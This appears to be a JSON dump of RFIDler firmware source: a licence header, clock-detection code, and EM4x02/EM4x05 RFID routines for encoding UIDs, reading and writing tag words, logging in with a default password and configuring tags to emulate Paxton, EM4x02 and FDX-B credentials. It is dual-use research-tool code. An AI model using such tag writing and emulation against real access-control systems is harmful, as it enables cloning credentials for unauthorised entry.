alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"detect.h\"\n#include \"clock.h\"\n#include \"util.h\"\n#include \"comms.h\"\n\nvoid detect_init(void)\n{\n    // make sure local clock isn't running & switch to input\n    stop_HW_clock();\n\n    COIL_MODE_READER();\n    READER_CLOCK_ENABLE_OFF(LOW);\n}\n\n// detect and measure external clock\n// optionally wait for clock to stop in order to detect reader gap\nvoid detect_external_clock(BOOL wait, BYTE max_hz)\n{\n    BYTE                    toggle= SNIFFER_COIL;\n    unsigned long           tick, time;\n    unsigned int            count= 0;\n\n    detect_init();\n\n    // wait for external clock to stop if required\n    if(wait)\n    {\n        // calculate max ticks to wait for clock pulse\n        time= max_hz * 1000000000UL;\n        time *= (unsigned long) (GetSystemClock() / US_TO_TICKS);\n        time /= 2;\n        while(42)\n        {\n            GetTimer_ticks(RESET);\n            while(SNIFFER_COIL == toggle)\n            {\n                // check for user abort\n                if(get_user_abort())\n                    return;\n                if(GetTimer_ticks(NO_RESET) > time)\n                    return;\n            }\n            toggle= !toggle;\n        }\n    }\n\n    // wait for 100 ticks to make sure we're settled\n    count= 100;\n    while(count--)\n    {\n        while(SNIFFER_COIL == toggle)\n            // check for user abort\n            if(get_user_abort())\n                return;\n        toggle= !toggle;\n    }\n\n    UserMessageNum(\"\\r\\nClock detected: %ld Hz\\r\\n\", read_external_clock_burst(1000));\n}\n\n// read a data burst and measure frequency\nunsigned long read_external_clock_burst(unsigned int ticks)\n{\n    BOOL toggle;\n    unsigned long time= 0UL;\n\n    GetTimer_ticks(RESET);\n    while(ticks--)\n    {\n       while(SNIFFER_COIL == toggle)\n          if(get_user_abort())\n             return 0L;\n       time += GetTimer_ticks(RESET);\n       toggle= !toggle;\n    }\n    // convert to KHz\n    time *= 2UL; // two toggles per clock tick\n    time /= (unsigned long) (GetSystemClock() / US_TO_TICKS);\n    time= 1000000000UL / time;\n    return time;\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/em.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2015 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"ask.h\"\n#include \"clock.h\"\n#include \"config.h\"\n#include \"em.h\"\n#include \"util.h\"\n\n// em4205 return values\nconst BYTE EM4X05_Preamble[8]=  {0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00};   // \"00001010\"\nconst BYTE EM4X05_Error[8]= {0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x01};       // \"00000001\"\nconst BYTE *EM4X05_Delays[4]= {\"No Delay\", \"BP/4 (RF/16)\", \"BP/8 (RF/8)\", \"No Delay\"};\nconst BYTE *EM4X05_Capacitors[4]= {\"Invalid\", \"210pF\", \"250pF\", \"330pF\"};\n// support routines for EM tags\n//\n\nBOOL em4x02_get_uid(BYTE *response)\n{\n     return ask_raw_get_uid(response);\n}\n\nBOOL em4x02_hex_to_uid(BYTE *response, BYTE *hex)\n{\n    BYTE tmp[40];\n\n    if(em4x02_hex_to_bin(tmp, hex))\n        return binarraytohex(response, tmp, 40);\n    return FALSE;\n}\n\n// convert null-terminated hex UID (10 digits) to em4x02 encoded hex\nBOOL hex_to_em4x02_hex(unsigned char *em, unsigned char *hex)\n{\n    if(hex_to_em4x02_bin(em, hex))\n        return binarraytohex(em, em, 64);\n    else\n        return FALSE;\n}\n\n// convert null-terminated hex UID (10 digits) to 64 bit em4x02 encoded binary array\nBOOL hex_to_em4x02_bin(unsigned char *em, unsigned char *hex)\n{\n    unsigned char tmp1[10], tmp2[40];\n\n    if(strlen(hex) > 10)\n        return FALSE;\n\n    // pad to 10 hex digits\n    memset(tmp1, '0', 10);\n    memcpy(tmp1 + 10 - strlen(hex), hex, strlen(hex));\n    hextobinarray(tmp2, tmp1);\n    // encoding is the same as unique, but source data is in a different order\n    bin_to_em4x02_bin(em, tmp2);\n    return TRUE;\n}\n\n// convert 16 hex digit/64 bit EM4X02 ID to 40 bit raw UID\n// safe to do in-place as we use a scratchpad\nBOOL em4x02_hex_to_bin(unsigned char *bin, unsigned char *em)\n{\n    unsigned char i, j, colparity[4]= {0,0,0,0};\n\n    if(!hextobinarray(TmpBits, em))\n        return FALSE;\n    \n    // check header\n    for(i= 0 ; i < 9 ; ++i)\n        if(TmpBits[i] != 0x01)\n            return FALSE;\n\n    // skip 9 bit header and strip/check parity bits - every 5th bit\n    for(i= 0 ; i < 10 ; ++i)\n    {\n        memcpy(bin + i * 4, (TmpBits + 9) + i * 5, 4);\n        if(parity(bin + i * 4, EVEN, 4) != TmpBits[9 + i * 5 + 4])\n            return FALSE;\n    }\n\n    // check column parity\n    for(i= 0 ; i < 10 ; ++i)\n        for(j= 0; j < 4 ; ++j)\n            colparity[j] += bin[i * 4 + j];\n    for(i= 0 ; i < 4 ; ++i)\n        if(colparity[i] % 2 != TmpBits[9 + 50 + i])\n            return FALSE;\n\n    // check terminating stop bit\n    if(TmpBits[63] != 0x00)\n        return FALSE;\n\n    return TRUE;\n}\n\n// convert 40 bit ID (array of 1 byte per bit 0/1 values) to em 64 bit ID\nvoid bin_to_em4x02_bin(unsigned char *em, unsigned char *bin)\n{\n    unsigned char i, j, parity, colparity[4]= {0,0,0,0};\n\n    // output header '111111111'\n    memset(em, 0x01, 9);\n    em += 9;\n\n    //  output 10 blocks of 4 bits plus parity for each block\n    for(i= 0 ; i < 10 ; ++i, ++em)\n    {\n        for(j= parity= 0 ; j < 4 ; ++j, ++bin, ++em)\n        {\n            *em= *bin;\n            parity += *bin;\n            // calculate column parity for later\n            colparity[j] += *bin;\n        }\n        // output parity\n        *em= parity % 2;\n    }\n\n    // output column parity\n    for(i= 0 ; i < 4 ; ++i, ++em)\n        *em= colparity[i] % 2;\n\n    // output stop bit\n    *em= 0x00;\n}\n\n// em4x05 - comms as per em4469\n\n// em4x05 doesn't use PWM for reader->tag comms, so hard code it\nBOOL em4x05_send_command(BYTE *command, char address, BOOL send_data, BYTE *data, BOOL get_response, BYTE *response, unsigned int write_delay)\n{\n    // 5 bit command + 6 bit address + parity + null = 13\n    // return value 8 bit PREAMBLE + 45 bit OTA + null = 54\n    // max command is 5 + 6 + 1 + 45 + 1 = 58\n    BYTE tmp[58], tmp2[33], *p, rlen;\n\n    // create command buffer\n    strcpy(tmp, command);\n\n    if(address != NO_ADDRESS)\n    {\n        // convert address to 4 bit binary array\n        inttobinarray(tmp2, (unsigned int) address, 4);\n        // convert to LSB\n        string_reverse(tmp2, 4);\n        // add reserved two bits\n        tmp2[4]= 0x00;\n        tmp2[5]= 0x00;\n        // add parity\n        tmp2[6]= parity(tmp2, EVEN, 6);\n        // add to command string\n        binarraytobinstring(tmp + strlen(command), tmp2, 7);\n    }\n\n    if(send_data)\n    {\n        // convert data to 32 bit array\n        hextobinarray(tmp2, data);\n        // convert to LSB\n        string_reverse(tmp2, 32);\n        // add to command string\n        rlen= strlen(tmp);\n        bin_to_em4x05_ota(tmp + rlen, tmp2);\n        // convert to human readable\n        binarraytobinstring(tmp + rlen, tmp + rlen, 45);\n    }\n\n    // debug\n//    UserMessage(\"\\r\\nsending: %s\\r\\n\", tmp);\n\n    // start clock if not already running\n    if(!mGetLED_Clock() == mLED_ON)\n    {\n        InitHWReaderClock(OC_TOGGLE_PULSE, RFIDlerConfig.FrameClock / 2L, RFIDlerConfig.FrameClock, RWD_STATE_ACTIVE);\n\n        // give reader time to wake up and settle\n        Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wake_Period) / 100L);\n    }\n\n    // send to tag\n    if(!em4x05_forward_link(tmp))\n        return FALSE;\n\n    // return should be 8 bit PREAMBLE + 45 bit OTA formatted data\n    if(get_response)\n        rlen= 53;\n    else\n        rlen= 8;\n    \n    if(write_delay)\n        Delay_us((write_delay * RFIDlerConfig.FrameClock + RFIDlerConfig.RWD_Wait_Switch_RX_TX * RFIDlerConfig.FrameClock) / 100);\n\n    if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, rlen, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY) == rlen)\n    {\n        // check preamble\n        if(memcmp(tmp, EM4X05_Preamble, 8) != 0x00)\n            return FALSE;\n        // extract OTA data\n        if(get_response)\n            return em4x05_ota_to_hex(response, tmp + 8);\n        else\n            return TRUE;\n    }\n    return FALSE;\n}\n\nBOOL em4x05_forward_link(BYTE *data)\n{\n    // wait for a rising edge from TAG so we start talking while tag is modulating\n    GetTimer_us(RESET);\n    while(READER_DATA)\n        if (GetTimer_us(NO_RESET) > RFIDlerConfig.Timeout)\n            return FALSE;\n    while(!READER_DATA)\n        if (GetTimer_us(NO_RESET) > RFIDlerConfig.Timeout)\n            return FALSE;\n\n    // send First Field Stop\n    pause_HW_clock_FC(RFIDlerConfig.RWD_Gap_Period, HIGH);\n    \n    // run clock for 1/2 bit period\n    TimerWait_FC(RFIDlerConfig.RWD_Zero_Period);\n\n    // send data\n    // to send a 1, leave coil running for a full bit period\n    // to send a 0, switch off for 1st half of bit period (after 4 FCs), back on for 2nd half\n    while(*data)\n    {\n        if(*data == '1')\n        {\n            TimerWait_FC(RFIDlerConfig.RWD_One_Period);\n        }\n        else\n        {\n            TimerWait_FC(4);\n            pause_HW_clock_FC(RFIDlerConfig.RWD_Zero_Period - 4, HIGH);\n            TimerWait_FC(RFIDlerConfig.RWD_Zero_Period);\n        }\n        ++data;\n    }\n\n    TimerWait_FC(RFIDlerConfig.RWD_Wait_Switch_TX_RX);\n}\n\nBOOL em4x05_get_uid(BYTE *response)\n{\n    // UID is stored in block 1\n    return em4x05_read_word(response, 1);\n}\n\n// shut down TAG until next power up\nBOOL em4x05_disable(void)\n{\n    return em4x05_send_command(EM4X05_DISABLE, NO_ADDRESS, TRUE, \"FFFFFFFF\", FALSE, NULL, 0);\n}\n\nBOOL em4x05_write_word(BYTE word, BYTE *data, BOOL verify)\n{\n    BOOL ret;\n    BYTE tmp[33];\n    \n    ret= em4x05_send_command(EM4X05_WRITE_WORD, word, TRUE, data, FALSE, NULL, EM4X05_WRITE_DELAY);\n    \n    // we should be checking command sent ok, but when testing never saw a correct preamble being returned by the tag.\n    // AN604010 also suggests that you simply ignore this, and read the block back instead which we always do to verify anyway\n    // so let's go with that!\n    //if(!ret)\n    //    return FALSE;\n    \n    if(!verify)\n        return TRUE;\n    \n    if(!em4x05_read_word(tmp, word))\n        return FALSE;\n    if(memcmp(tmp, data, 8) != 0)\n        return FALSE;\n    \n    return TRUE;\n}\n\nBOOL em4x05_read_word(BYTE *response, BYTE word)\n{\n    return em4x05_send_command(EM4X05_READ_WORD, word, FALSE, NULL, TRUE, response, 0);\n}\n\n// convert 32 bit binary data to 45 bit EM4205 OTA format\n// The 32 bit data field has an even parity bit inserted every 8 data bits, data is terminated with 8 column parity bits and a 0.\nvoid bin_to_em4x05_ota(unsigned char *ota, unsigned char *bin)\n{\n    unsigned char i, j, parity, colparity[8]= {0,0,0,0,0,0,0,0};\n\n    //  output 4 blocks of 8 bits plus parity for each block\n    for(i= 0 ; i < 4 ; ++i, ++ota)\n    {\n        for(j= parity= 0 ; j < 8 ; ++j, ++bin, ++ota)\n        {\n            *ota= *bin;\n            parity += *bin;\n            // calculate column parity for later\n            colparity[j] += *bin;\n        }\n        // output parity\n        *ota= parity % 2;\n    }\n\n    // output column parity\n    for(i= 0 ; i < 8 ; ++i, ++ota)\n        *ota= colparity[i] % 2;\n\n    //output stop bit\n    *ota= 0x00;\n}\n\n// convert EM4205 OTA format to 32 bit hex \nBOOL em4x05_ota_to_hex(unsigned char *hex, unsigned char *ota)\n{\n    unsigned char i, j, colparity[8]= {0,0,0,0,0,0,0,0}, tmp[32];\n\n    // strip/check parity bits - 4 blocks, every 9th bit\n    for(i= 0 ; i < 4 ; ++i)\n    {\n        memcpy(tmp + i * 8, ota + i * 9, 8);\n        if(parity(tmp + i * 8, EVEN, 8) != ota[i * 9 + 8])\n            return FALSE;\n    }\n\n    // check column parity\n    for(i= 0 ; i < 4 ; ++i)\n        for(j= 0; j < 8 ; ++j)\n            colparity[j] += tmp[i * 8 + j];\n    for(i= 0 ; i < 8 ; ++i)\n        if(colparity[i] % 2 != ota[36 + i])\n            return FALSE;\n\n    // check terminating stop bit\n    if(ota[44] != 0x00)\n        return FALSE;\n    \n    // data is sent from tag LSB, so reverse\n    string_reverse(tmp, 32);\n    binarraytohex(hex, tmp, 32);\n\n    return TRUE;\n}\n\nBOOL em4x05_config_block_show(BYTE *config, BYTE *info)\n{\n    uint32_t    value= hextoulong(info);\n    \n    UserMessage(\"%s\", \"         Info Block (0): \");\n    if(strlen(info) != 0)\n    {\n        UserMessage(\"%.8s\\r\\n\\r\\n\", info);\n\n        UserMessageNum(\"          Customer Code: 0x%03x\\r\\n\", GET_CONFIG(value, EM4X05_MASK_CUSTOMER, EM4X05_SHIFT_CUSTOMER));\n        UserMessageNum(\"              Capacitor: %d = \", GET_CONFIG(value, EM4X05_MASK_CAPACITOR, EM4X05_SHIFT_CAPACITOR));\n        UserMessage(\"%s\\r\\n\", EM4X05_Capacitors[GET_CONFIG(value, EM4X05_MASK_CAPACITOR, EM4X05_SHIFT_CAPACITOR)]);\n        UserMessageNum(\"              Chip Type: %d = \", GET_CONFIG(value, EM4X05_MASK_CHIP, EM4X05_SHIFT_CHIP));\n        if(GET_CONFIG(value, EM4X05_MASK_CHIP, EM4X05_SHIFT_CHIP) == CHIP_TYPE_EM4205)\n            UserMessage(\"EM4205\\r\\n\");\n        else\n            if(GET_CONFIG(value, EM4X05_MASK_CHIP, EM4X05_SHIFT_CHIP) == CHIP_TYPE_EM4305)\n                UserMessage(\"EM4305\\r\\n\");\n            else\n                UserMessage(\"Invalid\\r\\n\");\n    }\n    else\n        UserMessage(\"%s\\r\\n\\r\\n\", \"Not present\");\n        \n    UserMessage(\"\\r\\n          PWD Block (2): %s\\r\\n\\r\\n\", \"Write Only\");\n\n    value= hextoulong(config);\n    UserMessage(\"       Config Block (4): %.8s\\r\\n\\r\\n\", config);\n    \n    UserMessage(\"            Pigeon Mode: %s\\r\\n\", GET_CONFIG(value, EM4X05_MASK_PIGEON, EM4X05_SHIFT_PIGEON) ? \"True\" : \"False\");\n    UserMessage(\"                    RTF: %s\\r\\n\", GET_CONFIG(value, EM4X05_MASK_RTF, EM4X05_SHIFT_RTF) ? \"True\" : \"False\");\n    UserMessage(\"                Disable: %s\\r\\n\", GET_CONFIG(value, EM4X05_MASK_DISABLE, EM4X05_SHIFT_DISABLE) ? \"True\" : \"False\");\n    UserMessage(\"            Write Login: %s\\r\\n\", GET_CONFIG(value, EM4X05_MASK_WRITE_LOGIN, EM4X05_SHIFT_WRITE_LOGIN) ? \"True\" : \"False\");\n    UserMessage(\"             Read Login: %s\\r\\n\", GET_CONFIG(value, EM4X05_MASK_READ_LOGIN, EM4X05_SHIFT_READ_LOGIN) ? \"True\" : \"False\");\n    UserMessageNum(\"                    LWR: %d\\r\\n\", GET_CONFIG(value, EM4X05_MASK_LWR, EM4X05_SHIFT_LWR));\n    UserMessage(\"             Delayed On: %d = \", GET_CONFIG(value, EM4X05_MASK_DELAYED_ON, EM4X05_SHIFT_DELAYED_ON));\n    UserMessage(\"%s\\r\\n\", EM4X05_Delays[GET_CONFIG(value, EM4X05_MASK_DELAYED_ON, EM4X05_SHIFT_DELAYED_ON)]);\n    UserMessage(\"                Encoder: %d = \", GET_CONFIG(value, EM4X05_MASK_ENCODER, EM4X05_SHIFT_ENCODER));\n    if(GET_CONFIG(value, EM4X05_MASK_ENCODER, EM4X05_SHIFT_ENCODER) == 0x01)\n        UserMessage(\"%s\\r\\n\", \"Manchester\");\n    else\n        if(GET_CONFIG(value, EM4X05_MASK_ENCODER, EM4X05_SHIFT_ENCODER) == 0x02)\n            UserMessage(\"%s\\r\\n\", \"BiPhase\");\n        else\n            UserMessage(\"%s\\r\\n\", \"Invalid\");\n    UserMessageNum(\"              Data Rate: %d = \", GET_CONFIG(value, EM4X05_MASK_DATA_RATE, EM4X05_SHIFT_DATA_RATE));\n    UserMessageNum(\"RF/%d\\r\\n\", GET_CONFIG(value, EM4X05_MASK_DATA_RATE, EM4X05_SHIFT_DATA_RATE) * 2 + 2);\n    return TRUE;\n}\n\n// create a config block based on current tag settings\nBOOL em4x05_create_config_block(BYTE *config)\n{\n    uint32_t    value= hextoulong(config);\n\n    // data rate\n    if(RFIDlerConfig.DataRate >= 8 && RFIDlerConfig.DataRate <= 64)\n        value= SET_CONFIG(value, EM4X05_MASK_DATA_RATE, EM4X05_SHIFT_DATA_RATE, (RFIDlerConfig.DataRate - 2) / 2);\n    else\n        return FALSE;\n    \n    // modulation\n    if(RFIDlerConfig.Manchester && RFIDlerConfig.Modulation == MOD_MODE_ASK_OOK)\n        value= SET_CONFIG(value, EM4X05_MASK_ENCODER, EM4X05_SHIFT_ENCODER, EM4X05_MOD_MANCHESTER);\n    else\n    {\n        if(RFIDlerConfig.BiPhase && RFIDlerConfig.Modulation == MOD_MODE_ASK_OOK)\n            value= SET_CONFIG(value, EM4X05_MASK_ENCODER, EM4X05_SHIFT_ENCODER, EM4X05_MOD_BIPHASE);\n        else\n            return FALSE;\n    }\n\n    // data blocks\n    if((RFIDlerConfig.DataBits / EM4X05_BLOCKSIZE + EM4X05_USER_DATA_BLOCK_NUM) > EM4X05_DATABLOCKS)\n        return FALSE;\n    value= SET_CONFIG(value, EM4X05_MASK_LWR, EM4X05_SHIFT_LWR, ((RFIDlerConfig.DataBits / EM4X05_BLOCKSIZE + EM4X05_USER_DATA_BLOCK_NUM - 1) & (EM4X05_MASK_LWR >> EM4X05_SHIFT_LWR)));\n\n    ulongtohex(config, value);\n\n    return TRUE;\n}\n\n// set a config block suitable for emulating\nBOOL em4x05_emulate_config_block(BYTE *config, BYTE target_tagtype)\n{\n    switch (target_tagtype)\n    {\n       case TAG_TYPE_ASK_RAW:\n           memcpy(config, EM4X05_DEFAULT_CONFIG_BLOCK, HEXDIGITS(EM4X05_BLOCKSIZE));\n           return em4x05_create_config_block(config);\n           \n        case TAG_TYPE_EM4X02:\n        case TAG_TYPE_Q5:\n        case TAG_TYPE_UNIQUE:\n        case TAG_TYPE_PAXTON:\n            memcpy(config, EM4X05_UNIQUE_CONFIG_BLOCK, HEXDIGITS(EM4X05_BLOCKSIZE));\n            return TRUE;\n\n        case TAG_TYPE_EM4X05:\n            memcpy(config, EM4X05_DEFAULT_CONFIG_BLOCK, HEXDIGITS(EM4X05_BLOCKSIZE));\n            return TRUE;\n            \n        case TAG_TYPE_FDXB:\n            memcpy(config, EM4X05_FDXB_CONFIG_BLOCK, HEXDIGITS(EM4X05_BLOCKSIZE));\n            return TRUE;\n\n        default:\n            return FALSE;\n    }\n}\n\n// password auth\nBOOL em4x05_login(BYTE *response, BYTE *pwd)\n{\n    BYTE tmp[33];\n    \n    // restart the tag\n    if(!em4x05_get_uid(tmp))\n        return FALSE;\n\n    if(strlen(pwd) == 0)\n        pwd= EM4X05_PWD_DEFAULT;\n    \n    if(em4x05_send_command(EM4X05_LOGIN, NO_ADDRESS, TRUE, pwd, FALSE, NULL, 0))\n    {\n        strcpy(response, \"OK\");\n        return TRUE;\n    }\n    return FALSE;\n}"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/emulate.c",
